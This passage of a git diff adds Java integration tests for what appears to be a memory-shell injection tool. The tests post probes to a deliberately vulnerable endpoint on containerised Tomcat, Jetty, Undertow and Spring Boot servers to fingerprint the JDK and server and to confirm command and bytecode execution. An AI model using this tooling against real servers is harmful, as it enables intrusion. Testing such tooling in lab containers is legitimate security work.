testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V11); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java new file mode 100644 index 00000000..e64d95d5 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.integration.probe.springwebflux; + +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2WebFluxContainerTest { + public static final String imageName = "springboot2-webflux"; + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2WebfluxDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.SpringWebFlux.name(), data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java new file mode 100644 index 00000000..1b802df2 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.integration.probe.springwebflux; + +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot3WebFluxContainerTest { + public static final String imageName = "springboot3-webflux"; + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot3WebfluxDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|17.0.2|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Server.SpringWebFlux.name(), data); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java new file mode 100644 index 00000000..f69bf4b2 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot1ContainerTest { + public static final String imageName = "springboot1"; + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot1Dockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java new file mode 100644 index 00000000..8858f071 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2ContainerTest { + public static final String imageName = "springboot2"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2Dockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java new file mode 100644 index 00000000..2ee6cf18 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java @@ -0,0 +1,76 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2JettyContainerTest { + public static final String imageName = "springboot2-jetty"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2JettyDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java new file mode 100644 index 00000000..cc91a7fe --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2UndertowContainerTest { + public static final String imageName = "springboot2-undertow"; + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot2UndertowDockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java new file mode 100644 index 00000000..52b43aa0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2WarContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_402|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java new file mode 100644 index 00000000..bdc62ce2 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.integration.probe.springwebmvc; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot3ContainerTest { + public static final String imageName = "springboot3"; + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot3Dockerfile)) + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|17.0.2|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrlFromSpringBoot(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java new file mode 100644 index 00000000..483863da --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat10ContainerTest { + public static final String imageName = "tomcat:10.1-jre11"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|11.0.26|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V11); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java new file mode 100644 index 00000000..639c6746 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.probe.payload.response.TomcatWriter; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat11ContainerTest { + + public static final String imageName = "tomcat:11.0-jre17"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|17.0.14|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java new file mode 100644 index 00000000..e83139c6 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.tomcat; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat11JRE21ContainerTest { + + public static final String imageName = "tomcat:11.0-jre21"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|21.0.6|65", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.TOMCAT, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V21); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V21); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java new file mode 100644 index 00000000..4d4bef3d --- /dev/null +++ 